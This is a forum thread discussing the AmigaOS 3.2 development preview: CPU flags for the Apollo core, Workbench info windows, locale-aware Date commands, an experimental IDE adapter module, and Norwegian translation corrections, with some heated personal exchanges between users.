I don't know, I don't care. We cannot give every version of the Apollo core another flag because we don't have many flags left. Probably four or five by now. I can possibly give another flag for another vendor with a different instruction set, but we should really be vendor-neutral in the Os.

It's up to Gunnar how to solve this. Currently, you can read the pcr register of the CPU and find out this way, but a more plausible approach would be to have a library call offering a tag-based interface checking the availability of features.
Title: Re: Os 3.2 development preview
Post by: kolla on December 13, 2019, 09:51:50 AM
Other FPGA are not improving the Amiga CPU or the Chipsets’ their aim are more into preservation and so accuracy. Knowing that they should be treated like any other Amigas no?
What do you mean "other FPGA"? The Vampire Vampire V4 and the MiSTer use the exact same FPGA, a Cyclone V. So what is different? The CPU softcore - the MiSTer/Minimig currently supports three 68k cores, Fx68k for cycle exact 68000, TG68 for 020+, and M68K as an alternative for 020+. There is also NG68 in its infancy, which unlike TG68 is aimed at 32bit 020+ from scratch, as not as an afterthought ontop of a 68000 implementation.
Title: Re: Os 3.2 development preview
Post by: kolla on December 13, 2019, 09:55:21 AM
Cool, I will then request for this flag to be supported by the other 68k cores running on FPGAs - what could possibly break :)
I don't know, I don't care. We cannot give every version of the Apollo core another flag because we don't have many flags left. Probably four or five by now. I can possibly give another flag for another vendor with a different instruction set, but we should really be vendor-neutral in the Os.

It's up to Gunnar how to solve this. Currently, you can read the pcr register of the CPU and find out this way, but a more plausible approach would be to have a library call offering a tag-based interface checking the availability of features.

The "problem" here is that you call this an "FPGA flag" - for sure it is not an "FPGA flag", it is an "Apollo Core flag" - one day that CPU may exist in ASIC, and the flag will still be there, and it will be very inaccurate to call it an "FPGA flag".

Gunnar is not the only guy who implement 68k cores on FPGA, there are at least 3 others, why should they not also use the same "FPGA flag" on their cores?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 13, 2019, 10:44:03 AM
The "problem" here is that you call this an "FPGA flag" - for sure it is not an "FPGA flag", it is an "Apollo Core flag" - one day that CPU may exist in ASIC, and the flag will still be there, and it will be very inaccurate to call it an "FPGA flag".
The name is "Apollo FPGA", if this makes you feel any better. Yes, it is reserved for the Apollo series of FPGA cores.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 13, 2019, 10:46:21 AM
What do you mean "other FPGA"?
You know that exactly.
Title: Re: Os 3.2 development preview
Post by: kolla on December 13, 2019, 10:50:25 AM

Here we go again. Just because you $favorite_feture is not supported, you bully around. Kolla, forget it.

No - it really is not a "$favourite_feature", I really couldn't care less about this feature, when it comes to icons, the tools provided by the operating system have been borderline useless/pointless since forever, so I have my ways around it.

But I see where the request comes from, and I find your argument against it very weak, for the reasons I mention - the WBInfo window is already an editor, a rather extensive one - the primary reason for a user to open an info window is to make changes - be it replace icons, edit tool types, set default tool, toggle filesystem flags etc. - because, you know...

Quote
an *information window*

that can not..
* display the version of a file
* does not show what filesystem is used on a device/volume (but hey, random information of a filesystem - blocksize - always what I look for!)
* the content size of a drawer (but hey, you can edit tooltypes of drawers - awesome!)

Quote
It is a job for an icon editor. We have one. Again a very basic one.

Then, for the sake of consistency, shouldn't also editing tooltypes, default tool, stack size, priority etc. also be left as a job to the icon editor?

The current icon editor is nothing but a very simple and extremely basic graphical editor, and not really so useful for editing icons as it doesn't grasp the "new" icon format properly (read only?), doesn't support more than the 8 basic pens, pasting brushes from programs like PPaint etc doesn't work as intended etc.

Its _only_ metadata editing capabilities IconEdit can do, is setting the "icon type".

Quote
Besides, Rawbinfo or swazinfo are not patches. They just implement the info hook of the workbench. If you want features implemented there, bug their authors. It's ok to have third party tools.

RAWBInfo (ReAction-WorkBench-Info) has all features one can wish for, only problem is that it is buggy and unmaintained, and it currently needs 020+, but that could just be a matter of ReAction classes not supporting 68000.
Title: Re: Os 3.2 development preview
Post by: kolla on December 13, 2019, 10:58:08 AM
What do you mean "other FPGA"?
You know that exactly.
No, I don't know what kamelito - not you - means with "other FPGA". There is a whole range of FPGA based Amiga systems around, and more are coming, and the various 68k implementations have different goals. So, I wonder what projects specifically kamelito - not you - was thinking about when he wrote "other FPGA".

And again, does it make sense to call it "Apollo FPGA" the day Apollo Core is ASIC, or is implemented on something that is not regarded as FPGA, for example through software emulation? It should really be enough to say that C:CPU now recognise the Apollo Core 68080 CPU core, without dragging the term "FPGA" into it.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 13, 2019, 10:58:57 AM
No - it really is not a "$favourite_feature", I really couldn't care less about this feature, when it comes to icons, the tools provided by the operating system have been borderline useless/pointless since forever, so I have my ways around it.
Then why all the rumble again? Oh, sorry, forgot, to make a rumble of course...
Title: Re: Os 3.2 development preview
Post by: kolla on December 13, 2019, 12:52:01 PM
Then why all the rumble again?

Because a very reasonable request was made, and your counter argument was very weak. WBInfo is much more of a metadata editor than IconEdit is.
Title: Re: Os 3.2 development preview
Post by: Minuous on December 13, 2019, 01:14:17 PM
Such as?

Such as IconEdit.
Title: Re: Os 3.2 development preview
Post by: ronniebeck on December 13, 2019, 03:57:41 PM
The "problem" here is that you call this an "FPGA flag" - for sure it is not an "FPGA flag"...............................

Kolla is right.  Labeling it with "FPGA" is misleading and not helpful to anyone. 

Quote from: Thomas Richter link=topic=74270.msg847053#msg847053
I don't know, I don't care. We cannot give every version of the Apollo core another flag because we don't have many flags left..............

Rather a surprising answer to hear:  I don't know and I don't care.
I hope your attitude changes.
Title: Re: Os 3.2 development preview
Post by: rxxic on December 13, 2019, 04:15:27 PM

Quote
an *information window*

that can not..
* display the version of a file
* does not show what filesystem is used on a device/volume (but hey, random information of a filesystem - blocksize - always what I look for!)
* the content size of a drawer (but hey, you can edit tooltypes of drawers - awesome!)

One has to admit, these are all very valid points. I do fully agree with Kolla here.
Quote
Quote
It is a job for an icon editor. We have one. Again a very basic one.

Then, for the sake of consistency, shouldn't also editing tooltypes, default tool, stack size, priority etc. also be left as a job to the icon editor?

The current icon editor is nothing but a very simple and extremely basic graphical editor, and not really so useful for editing icons as it doesn't grasp the "new" icon format properly (read only?), doesn't support more than the 8 basic pens, pasting brushes from programs like PPaint etc doesn't work as intended etc.

Its _only_ metadata editing capabilities IconEdit can do, is setting the "icon type".

And I also see the logic here.
Quote
Quote
Besides, Rawbinfo or swazinfo are not patches. They just implement the info hook of the workbench. If you want features implemented there, bug their authors. It's ok to have third party tools.

RAWBInfo (ReAction-WorkBench-Info) has all features one can wish for, only problem is that it is buggy and unmaintained, and it currently needs 020+, but that could just be a matter of ReAction classes not supporting 68000.
If it's true it's unmaintained, then it's unfortunate.
Title: Re: Os 3.2 development preview
Post by: rxxic on December 13, 2019, 04:22:13 PM
Some other changes of C: components:

- SetDate gets a new keyword "FROM" that copies the date over from another file.


Will SetDate and Date be able to use the date format set in locale too, or will it--for consistency reason--force everybody using the shell to use a foreign format?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 13, 2019, 05:10:09 PM
Will SetDate and Date be able to use the date format set in locale too, or will it--for consistency reason--force everybody using the shell to use a foreign format?
Why "will"? Date and Setdate use StrToDate from the dos.library, and this function is patched over by the locale.library since a long time. It accepts input in the current locale since WB 2.1, I would say.

Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 14, 2019, 09:07:01 AM
For those of you who want to contribute to a little test, here is a resident module that is supposed to enable 4-way adapters on the internal IDE interface of the A1200 and A4000.

Note well, this is *not* an executable program. It cannot be run from the startup-sequence. Instead, you have to load it with LoadModule. Place the module into LIBS:Modules/AtapiMagic, then either edit or extend the startup-sequence by the following line:

LoadModule LIBS:modules/AtapiMagic <other LoadModule options go here>

The mechanism that is triggered by this module is available since Os 3.9 (scsi.device v43), and extends throughout Os 3.1.4 (and later, of course).
Title: Re: Os 3.2 development preview
Post by: kolla on December 14, 2019, 11:21:18 AM
For those of you who want to contribute to a little test, here is a resident module that is supposed to enable 4-way adapters on the internal IDE interface of the A1200 and A4000.

So much fuss about this... it works, of course.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 14, 2019, 12:00:24 PM
So much fuss about this... it works, of course.
No, at this point, we know that it works for you, in your configuration. What we do not know what happens if you do not have the adapter installed, or one end not connected, with gates floating.
Title: Re: Os 3.2 development preview
Post by: CBH on December 14, 2019, 01:54:07 PM
No, at this point, we know that it works for you, in your configuration. What we do not know what happens if you do not have the adapter installed, or one end not connected, with gates floating.

Your whole big argument was that you won't release what you don't have the hardware to test. Now that problem is solved - it works.

Now your problem is that you don't not have the hardware, so you can't test what the module does when the splitter isn't installed?

Do I have to send you an envelope with a nothing in it, so you can use the nothing for testing purposes?

A normal human being would just try it on a bare motherboard with one drive and see. I'm sure you have that.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 14, 2019, 03:15:12 PM
Do I have to send you an envelope with a nothing in it, so you can use the nothing for testing purposes?
No, more people to test it with and without the splitter.

A normal human being would just try it on a bare motherboard with one drive and see. I'm sure you have that.
For that, you first need to have access to the motherboard. At this point, I don't.
Title: Re: Os 3.2 development preview
Post by: kolla on December 14, 2019, 03:26:26 PM
At this point, I don't.

So what would be the point of me sending you an "original" IdeFix97 adapter from IComp?

So you have no system with IDE? No A600, A1200 nor A4000, and I already know you don't have access to CD32, so no AGA either.

Title: Re: Os 3.2 development preview
Post by: CBH on December 14, 2019, 03:44:16 PM
For that, you first need to have access to the motherboard. At this point, I don't.

You said you won't release what isn't tested on real hardware

so is os 3.2 cancelled?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 14, 2019, 04:04:14 PM
so is os 3.2 cancelled?
No. It just means that where I am right now I don't have an Amiga that has an IDE interface. Was this really so hard to conclude?

(Sigh. Another troll...)

Title: Re: Os 3.2 development preview
Post by: rxxic on December 14, 2019, 04:21:19 PM
Will SetDate and Date be able to use the date format set in locale too, or will it--for consistency reason--force everybody using the shell to use a foreign format?
Why "will"? Date and Setdate use StrToDate from the dos.library, and this function is patched over by the locale.library since a long time. It accepts input in the current locale since WB 2.1, I would say.

Mmh.. it does not here. Locale is set to Denmark, Workbench shows the date in format YYYY/MM/DD. The shell shows in format DD-MMM-YY.

6. Ram Disk:> date
Lørdag 14-Dec-19 16:56:49
6. Ram Disk:> setdate testfile.txt 2019/06/14
SetDate failed: Invalid DATE of TIME string!

It talkes back half Danish, half English btw, even tho the preferred language is Danish

I changed locale "country" to use Austria, "preferred language to Deutsh": Workbench displays YYYY-MM-DD for a folder with the option "Show by name" format. A new shell still shows DD-MMM-YY.

6. Ram Disk:> date
Samstag 14-Dez-19 17:01:27
6. RAM Disk:> date 2019-12-13
***Bad args
- use DD-MMM-YY or <dayname> or yesterday etc. to set date
        HH:MM:SS OR HH:MM to set time

And here too, it speaks with me in English not in Austrian (granted 3.1 didn't do it either)

Version c:date 37.2, version c:Setdate 37.1. Verified if it's the same version on the Workbench3.1.4 disk.

I tried the above, starting from OS 2.1 up to OS4.1FE Update 1
The latter is the only OS accepting the date format as set in locale.

Can you confirm this or show me how to do it correctly? Thanks! :)
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 14, 2019, 04:24:30 PM
Can you confirm this or show me how to do it correctly? Thanks! :)
It's quite simple. Date expects the date in the same format it prints. The help text is confusing, I fixed this.
Title: Re: Os 3.2 development preview
Post by: kolla on December 14, 2019, 04:26:40 PM
Danish locales stands out btw - in the LOCALE:languages...
Code: [Select]
svenska.language            1060 ----rw-d 27-Sep-18 22:07:14
português.language          1096 ----rw-d 27-Sep-18 22:07:14
norsk.language              1056 ----rw-d 27-Sep-18 22:07:14
nederlands.language         1072 ----rw-d 27-Sep-18 22:07:14
italiano.language           1072 ----rw-d 27-Sep-18 22:07:14
français.language           1068 ----rw-d 27-Sep-18 22:07:14
español.language            1060 ----rw-d 27-Sep-18 22:07:14
deutsch.language            1068 ----rw-d 27-Sep-18 22:07:14
dansk.language              1980 ----rw-d 27-Sep-18 22:07:14

The language file of for dansk has a lot of stuff that no other language files have.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on December 14, 2019, 04:30:39 PM
Maybe tha Danish are just more elaborate on how to name things?
Title: Re: Os 3.2 development preview
Post by: kolla on December 14, 2019, 05:24:17 PM
Maybe tha Danish are just more elaborate on how to name things?

Well, they do have a rather interesting relationship to numbers.

But I think it boils down to the danish translator "vertex" being much more thorough in his work than his co-translators back in 1992. The assembler source code for the language files at all typically around 7kB. The danish one is by far the largest, with more than 26kB.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 14, 2019, 05:30:23 PM
Maybe tha Danish are just more elaborate on how to name things?
It seems that Danish has more complicated rules for case-insensitive string comparison as it has a separate function for it, and does not use the generic ANSI comparison for it. I do not know why.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on December 14, 2019, 05:43:33 PM
I just experienced a funny thing on my current WB:
When copying (lots of) files, i can resize and rearrange open windows, but i cannot close them. Why is that and can you fix this?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 14, 2019, 05:44:49 PM
So what would be the point of me sending you an "original" IdeFix97 adapter from IComp?

So you have no system with IDE? No A600, A1200 nor A4000, and I already know you don't have access to CD32, so no AGA either.
No, I don't have a system with IDE interface *here and right now*. I will have one where I will be in February. Two systems: An A2000 and a A1200, but in two different places. Do not worry, the interface will find its way to the A1200, but not right now.
Title: Re: Os 3.2 development preview
Post by: kolla on December 14, 2019, 05:50:45 PM
Can you confirm this or show me how to do it correctly? Thanks! :)
Code: [Select]
Date Freitag 13-Dez-19
or just

Code: [Select]
Date 13-Dez-19
Note that you can specify non-existing dates, then the day will be ignored
Code: [Select]
Date Montag 13-Dez-19
If you just specify day, it will jump ahead to the next of this day
Code: [Select]
Date Freitag
And, as mentioned you can du superduper useful things like
Code: [Select]
Date Gestern
Date Morgens
to jump the system time back and forth.

I have no idea what the usecase is for the above ways of setting system time.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 14, 2019, 07:38:17 PM
I just experienced a funny thing on my current WB:
When copying (lots of) files, i can resize and rearrange open windows, but i cannot close them. Why is that and can you fix this?
That is most likely because the workbench performs file copy in its own process. Window resizing and re-arrangement is done through intuition in the context of the input.device,  but closing windows requires the attention of the workbench process, though the workbench is currently busy.

There are third-party tools like AsyncWB (IIRC) which perform the copy in a separate process. The workbench has a hook programs can implement to perform such operations.
Title: Re: Os 3.2 development preview
Post by: CBH on December 14, 2019, 08:25:43 PM
so is os 3.2 cancelled?
No. It just means that where I am right now I don't have an Amiga that has an IDE interface. Was this really so hard to conclude?

(Sigh. Another troll...)

You invite people messing with you. And you know what? It works. We wanted IDE splitters to work with your scsi.device and after refusing and refusing you gave in and gave us exactly what to make it happen. If I was posting last year I could've got the new intuition in rom this way.
Title: Re: Os 3.2 development preview
Post by: nbache on December 14, 2019, 08:39:09 PM
It seems that Danish has more complicated rules for case-insensitive string comparison as it has a separate function for it, and does not use the generic ANSI comparison for it. I do not know why.
I believe it has to do with where our national letters æøå and their upper case equivalents ÆØÅ are in the Latin-1 (ISO-8859-1) codeset, which makes it necessary to be more explicit when defining the case conversions and the sorting rules.

Best regards,

Niels
Title: Re: Os 3.2 development preview
Post by: Orphan264 on December 14, 2019, 09:25:36 PM
You invite people messing with you. And you know what? It works. We wanted IDE splitters to work with your scsi.device and after refusing and refusing you gave in and gave us exactly what to make it happen.

Sheeesh! You'd think a simple "Thank You, Thomas !" would be in order. There are some really nasty, ungrateful people in this thread.

Thank you, Thomas, for attempting to support a third-party product - on which you are not required to spend any time! Some people appreciate it very much!
Title: Re: Os 3.2 development preview
Post by: kolla on December 14, 2019, 09:29:44 PM
It seems that Danish has more complicated rules for case-insensitive string comparison as it has a separate function for it, and does not use the generic ANSI comparison for it. I do not know why.
I believe it has to do with where our national letters æøå and their upper case equivalents ÆØÅ are in the Latin-1 (ISO-8859-1) codeset, which makes it necessary to be more explicit when defining the case conversions and the sorting rules.
Right, and the same is the case for many other languages too, including Norwegian, Swedish, and even German. Yet...

As I said, the Danish translator seems to have been more thorough than his colleagues.
Title: Re: Os 3.2 development preview
Post by: CBH on December 14, 2019, 09:48:36 PM
Sheeesh! You'd think a simple "Thank You, Thomas !" would be in order. There are some really nasty, ungrateful people in this thread.

I don't have to be thankful to him at all, it's a product I will get in exchange for money. Do you stand in the supermarket thanking all the staff?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 14, 2019, 10:50:38 PM
I don't have to be thankful to him at all, it's a product I will get in exchange for money. Do you stand in the supermarket thanking all the staff?
In case you don't get it: 3.2 as well as 3.1.4 is developed by unpaid volunteers.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 14, 2019, 10:53:45 PM
Right, and the same is the case for many other languages too, including Norwegian, Swedish, and even German. Yet...
The lower/upper case for ISO-Latin-1 is easily resolved, and it is language-independent. If bit 5 is set, it is lower case. So it's not quite that simple.
Title: Re: Os 3.2 development preview
Post by: CBH on December 14, 2019, 10:56:18 PM
I don't have to be thankful to him at all, it's a product I will get in exchange for money. Do you stand in the supermarket thanking all the staff?
In case you don't get it: 3.2 as well as 3.1.4 is developed by unpaid volunteers.

And that is because you are stupid enough to allow Hyperion to exploit you.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 14, 2019, 10:59:02 PM
We wanted IDE splitters to work with your scsi.device and after refusing and refusing you gave in and gave us exactly what to make it happen.
No, I didn't. The code in the device is experimental and not ready for automated activation. Remind me the next time you complain.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 14, 2019, 11:01:42 PM
And that is because you are stupid enough to allow Hyperion to exploit you.
So you believe it would be all better if we would drop the stuff and let the Os rot, right? Please let me know in how far this improves the situation.
Title: Re: Os 3.2 development preview
Post by: Tygre on December 14, 2019, 11:11:44 PM
I don't have to be thankful to him at all, it's a product I will get in exchange for money. Do you stand in the supermarket thanking all the staff?
In case you don't get it: 3.2 as well as 3.1.4 is developed by unpaid volunteers.

And that is because you are stupid enough to allow Hyperion to exploit you.

Another entitled user who uses insult because it cannot code :'(

Courage Thomas!
Title: Re: Os 3.2 development preview
Post by: CBH on December 14, 2019, 11:57:23 PM
So you believe it would be all better if we would drop the stuff and let the Os rot, right? Please let me know in how far this improves the situation.

I believe that if a private business wants you to do something to make them money then they should pay you to do it. The OS isn't a homeless person needing help or any other kind of charity case, it's just old computer stuff. Nobody is stuck in a coma since CBM died, needing new OS version to wake them up. Rather it's the opposite of that, completely unimportant.
Title: Re: Os 3.2 development preview
Post by: rxxic on December 15, 2019, 05:28:21 AM
Quote
[..] because you are stupid enough to allow Hyperion to exploit you. [..] I believe that if a private business wants you to do something to make them money then they should pay you to do it.

And that grants you the right to call him stupid? What do you exactly mean by that anyway, that he is not intelligent or that he does lack common sense?
Personlally, I don't think he lacks any.

If he likes to code and wants to use his skills to improve something why would would we, or you in this case, arrogate to personally attack him?

Even more so, as per your own words this OS is completely unimportant.

I would love to see my suggestions implemented, because, probably like him too, there is something in us (us a general term) that likes perfection. And maybe that is what he is trying to work towards to. To take this old OS to a state where it is--without altering or taking it too far from what it is--as bugfree and perfect as possible.
His ideas might very well be different than mine or yours, that does not make it right to show inapropriate behaviour towards him.
Like others said already, if it is so important to you, learn the skills do what he had to do and try to join the development team.

Or next time when that anger boils up in you, just remember yourself

Quote
The OS isn't a homeless person needing help or any other kind of charity case, it's just old computer stuff. Nobody is stuck in a coma since CBM died, needing new OS version to wake them up. Rather it's the opposite of that, completely unimportant.
Title: Re: Os 3.2 development preview
Post by: rxxic on December 15, 2019, 05:50:05 AM

@kolla

thank you for your help in post #507.
I knew how to use the "Date" and "SetDate" commands. You probably know that, but what I was asking in my then previous post was if I was doing something wrong in entering the date as
Quote
Quote from Thomas Richter  Reply #490 on: December 13, 2019, 05:10:09 PM
Quote
Quote from: rxxic on December 13, 2019, 04:22:13 PM

    Will SetDate and Date be able to use the date format set in locale too, or will it--for consistency reason--force everybody using the shell to use a foreign format?

Why "will"? Date and Setdate use StrToDate from the dos.library, and this function is patched over by the locale.library since a long time. It accepts input in the current locale since WB 2.1, I would say.
But turns out, there was some incorrect information in the help text.
IMHO it would be nice if the shell would reflect the date format of the rest of the system but it's also ok if it is not.

Quote
And, as mentioned you can du superduper useful things like
Code: [Select]

Date Gestern
Date Morgens

to jump the system time back and forth.

I have no idea what the usecase is for the above ways of setting system time.
mmh.. maybe if you are coding in a night session, fall into a microsleep just around midnight, while typing and, oh dear when you push the save button it is today already. But as a perfectionist with maybe some OCD you want the date of the file to be "yesterday".. So here it comes.
I could imagine it happened often during the early OS development phases, often enough for the early gods to implement that option! :D
Title: Re: Os 3.2 development preview
Post by: kolla on December 15, 2019, 08:32:29 AM
mmh.. maybe if you are coding in a night session, fall into a microsleep just around midnight, while typing and, oh dear when you push the save button it is today already. But as a perfectionist with maybe some OCD you want the date of the file to be "yesterday".. So here it comes.
I could imagine it happened often during the early OS development phases, often enough for the early gods to implement that option! :D

LOL! :D

I think it is more of a side effect of Date using dos.library, it just accepts whatever dos.library manage to interpret as some sort of time stamp :)

Anyways - the unmentioned program in this hoopla, is SYS:Prefs/Time...
Title: Re: Os 3.2 development preview
Post by: kolla on December 15, 2019, 08:34:19 AM

Thank you, Thomas, for attempting to support a third-party product

More like... I don't know 5-7, perhaps more, third party products, plus quite a few "homebrew" projects? :)
Title: Re: Os 3.2 development preview
Post by: NinjaCyborg on December 15, 2019, 09:37:57 AM
@CBH  Learn some respect
Title: Re: Os 3.2 development preview
Post by: kolla on December 15, 2019, 10:15:24 AM
Right, and the same is the case for many other languages too, including Norwegian, Swedish, and even German. Yet...
The lower/upper case for ISO-Latin-1 is easily resolved, and it is language-independent. If bit 5 is set, it is lower case. So it's not quite that simple.

Exactly, so the mystery remains - why is dansk.language so much more elaborate than the others - Danish and Norwegian bokmål (norsk.language) should, aside from a few spelling differences, be identical.
Title: Re: Os 3.2 development preview
Post by: kolla on December 15, 2019, 10:50:51 AM
Speaking of Norwegian bokmål locales, any occurrence of "Fortryde" should be replaced with "Avbryt" or "Angre", depending on context.

"Fortryde" is really a Danish word that means "regret" and though it exists in the Norwegian bokmål dictionary, it is a word hardly any Norwegian will understand, and I cannot fathom why the translator would even come up with such a word, unless he is Danish. The Norwegian word for "regret" is "angre" (which is shorter than "fortryde").

(http://kolla.no/fortryde.png)

(And personally, I would use imperative - "Prøv igjen | Velg annet verktøy | Avbryt")
Title: Re: Os 3.2 development preview
Post by: kolla on December 15, 2019, 11:24:49 AM
(http://kolla.no/wbprefs.png)

This is Nowegian bokmål of Workbench prefs.

* The title "Workbench Innstillinger" should be "Workbench-innstillinger" (like in OS 3.9), but really "Innstillinger for Workbench" is better.
* "Gjemte enheter" - "Skjulte enheter" (as in OS 3.9) would be better. ("gjemme" is for many too danish/posh, "gjømme" is more normal, "skjule" is neutral and also works in nynorsk)
* "synlige" should be "synlig" (visible) - each device is a singular, not plural - but better is "vis" (show)
* "gjemte" (not shown above) should be "gjemt" (hidden) - but better is "ikke vis" (don't show), or just "skjul" (hide)
* "Ingen Tittel Felt" should be "Ingen tittelfelt" (no title field), though I would write "Skjul tittellinje" ("hide title line"), or simply "Skjul tittel" (hide title)
* "Ingen Enhetsmåler" should be "Ingen enhetsmåler", though I would write "Skjul enhetsmåler" ("hide unit gauge")
* "Ingen Farge Ikoner" (cringe!) should be "Ingen fargeikoner" (No colour icons) - but really, the matter here is 3.5+ icon format, so "Ingen ColorIcons", just like "Ingen NewIcons"
* "Sett MagicWB Farger" should be "Sett MagicWB-farger"
* "Ramme-Str." should simple be "Rammer", with the options "ingen|liten|middels|stor"
* "Maks Lengde på Filnavn" should be "Maks lengde på filnavn" (where all these capital letters come from - German?)
* "Stack Størrelse" should be "Stack-størrelse"
* "Tastatur Valg Forsinkelse" (huh??) should be "Tastaturvalgforsinkelse", but sheesh - "Pause for tastevalg" is much better and shorter.

Oh, and the two-letter acronym for kilobyte is "kB", not "KB".

(sheesh, every time I look at it, I find new things!)
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 15, 2019, 02:28:32 PM
Thanks, I forwarded this to our translator team.
Title: Re: Os 3.2 development preview
Post by: kolla on December 15, 2019, 04:35:17 PM
I change my mind “Ramme”, singular, or else it must be “ingen | små | middels | store”.

ASL prefs also needs and overhaul, as does hdtoolbox, installer, the installation text, the .language file, and much more. Consider the Workbench prefs as an illustration on the poor quality of the translation. OS 3.9 was miles ahead in this regard.

It should be easy for anyone to update or make locales that are missing, without having to enter legal contracts.
Title: Re: Os 3.2 development preview
Post by: Tygre on December 15, 2019, 04:54:32 PM
I change my mind “Ramme”, singular, or else it must be “ingen | små | middels | store”.

ASL prefs also needs and overhaul, as does hdtoolbox, installer, the installation text, the .language file, and much more. Consider the Workbench prefs as an illustration on the poor quality of the translation. OS 3.9 was miles ahead in this regard.

It should be easy for anyone to update or make locales that are missing, without having to enter legal contracts.

So why don't you?
Title: Re: Os 3.2 development preview
Post by: CBH on December 15, 2019, 05:35:56 PM
And that grants you the right to call him stupid? What do you exactly mean by that anyway, that he is not intelligent or that he does lack common sense?
Personlally, I don't think he lacks any.
yes and the second. By working for nothing he values that work at nothing, then is surprised it does not get him respect? Why be surprised? People don't respect worthlessness, especially self admitted worthlessness.

If he likes to code and wants to use his skills to improve something why would would we, or you in this case, arrogate to personally attack him?

Asking politely for feature got a total refusal, but when we bullied him for it he gave up and and uploaded atapimagic complete with installation instructions. So we can see what the most effective method of interacting with Thomas is.


His ideas might very well be different than mine or yours, that does not make it right to show inapropriate behaviour towards him.

There is no right or wrong in this world beyond what we decide for ourselves. There is no god or any kind of morality innate to the material universe. This fact is what allows for human conflict. Like all human beings I've decided that what's right is what benefits me personally.

Or next time when that anger boils up in you, just remember yourself

Not anger, mockery and contempt.
Title: Re: Os 3.2 development preview
Post by: Tygre on December 15, 2019, 05:44:42 PM
Thomas' work, worthless? He does infinitely more than you... because you do nothing, zero!

But, at least, you admit that you are a self-serving bully...

@Thomas Please ignore this sad individual!
@F0LLETT @eliyahu Can you please moderate this thread?
Title: Re: Os 3.2 development preview
Post by: Gulliver on December 15, 2019, 05:58:48 PM
I change my mind “Ramme”, singular, or else it must be “ingen | små | middels | store”.

ASL prefs also needs and overhaul, as does hdtoolbox, installer, the installation text, the .language file, and much more. Consider the Workbench prefs as an illustration on the poor quality of the translation. OS 3.9 was miles ahead in this regard.

It should be easy for anyone to update or make locales that are missing, without having to enter legal contracts.

@kolla,

Hi, we have a norwegian translator, but I will merge your corrections.

If you have more of these in mind, you are welcome to create a specific thread for them so that this one does not get clogged.

I will merge your corrections from there if they are reported the same way.

The problem with required legal contracts to see and work on the catalog sources is due to the on-going lawsuit.

@All

If anyone has a language translation that they believe does not adequately suit a specific language, please contact me, to discuss the matter.
Title: Re: Os 3.2 development preview
Post by: nbache on December 15, 2019, 06:17:58 PM
It should be easy for anyone to update or make locales that are missing, without having to enter legal contracts.
So why don't you?
Note that he wrote "it should be", not "it is".

I'm guessing the problem is in the "having to enter legal contracts".

Best regards,

Niels
Title: Re: Os 3.2 development preview
Post by: wiser3 on December 15, 2019, 06:52:22 PM
Can we stop the childish bickering now.

I'd like to get back to reading about AOS 3.2. Thanks
Title: Re: Os 3.2 development preview
Post by: CBH on December 15, 2019, 10:13:06 PM
Thomas' work, worthless? He does infinitely more than you... because you do nothing, zero!

My nothing is worth more than his everything. Literally worth more, I get paid for it. He doesn't.
Title: Re: Os 3.2 development preview
Post by: kolla on December 16, 2019, 05:15:43 AM
So why don't you?
I did, but not by means that are considered "legal".
Title: Re: Os 3.2 development preview
Post by: kolla on December 16, 2019, 05:35:16 AM
I guess it is only appropriate to pay Thomas for his work, in what OS 3.1.4 locales say are the appropriate currencies of his country - Deutschmark und Pfennig.
Title: Re: Os 3.2 development preview
Post by: wiser3 on December 16, 2019, 06:59:12 AM
/wiser3 feels himself being dragged in by the trolls...
Thomas is a full grown adult of sound mind. If he decides to work for free he has the right to. Do want others deciding how you have to live your life. I think not. Let him live his.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 16, 2019, 07:43:33 AM
To let everybody know: I decided to stop advancing this thread.

@mod: please close here. Thank you.
Title: Re: Os 3.2 development preview
Post by: Rotzloeffel on December 16, 2019, 12:24:11 PM
And that is because you are stupid enough to allow Hyperion to exploit you.

no, he is stupid enough to listen to your bullshit…..
Title: Re: Os 3.2 development preview
Post by: Tygre on December 16, 2019, 02:13:37 PM
To let everybody know: I decided to stop advancing this thread.

@mod: please close here. Thank you.

@Thomas Please keep up your amazing work!
Title: Re: Os 3.2 development preview
Post by: rxxic on December 16, 2019, 02:23:22 PM
Oh no! CBH has won...
You might want letting him know that you also stopped 3.2 development, he and a couple of others will then, most likely, enjoy Christmas that much more this year!

I suppose you could top that only by convincing Hyperion to pay you. Big bucks of course, the OS3.2 update should then cost at least 159,99 Gold pieces. Probably--and for some, hopefully--nobody will buy it; oh can I sense their happiness!
Title: Re: Os 3.2 development preview
Post by: number6 on December 16, 2019, 04:31:04 PM
@thread

Constant deja vu (http://forum.amiga.org/index.php?topic=74137.msg846739#msg846739)

While I believe it is unfair to put contractors (paid or not) in the position of constantly having to explain why they do what they do,
The above link explains why.
I truly believe that the statements by the court (and lack thereof) contribute highly to the deteriorating condition of the community.
The state of the community is not their concern. The law is.

They have:
(1)stated that Hyperion's status as a company was expected to be settled by end of June. (there was -never- a followup or resolution stated by the court...only by others who claim to know)
(2)stated that settlement of the court cases was likely by end of this year (again with no followup or resolution stated...just conjecture by anyone who could type)

When everyone is forced to divine truth by reading/listening to what happens at Amiga shows as their sole source of information, the inevitable result is the constant arguing about who is in the right here. Directing any ire against any developer for the choices they have made seems quite misdirected.

(apologies for the off-topic)

#6

Title: Re: Os 3.2 development preview
Post by: utri007 on December 16, 2019, 07:37:26 PM

My nothing is worth more than his everything. Literally worth more, I get paid for it. He doesn't.

You are saying that money is only thing wich is valuable? I feel sorry for you.

@Thomas Richter keep up good work.
Title: Re: Os 3.2 development preview
Post by: BozzerBigD on December 16, 2019, 08:05:39 PM
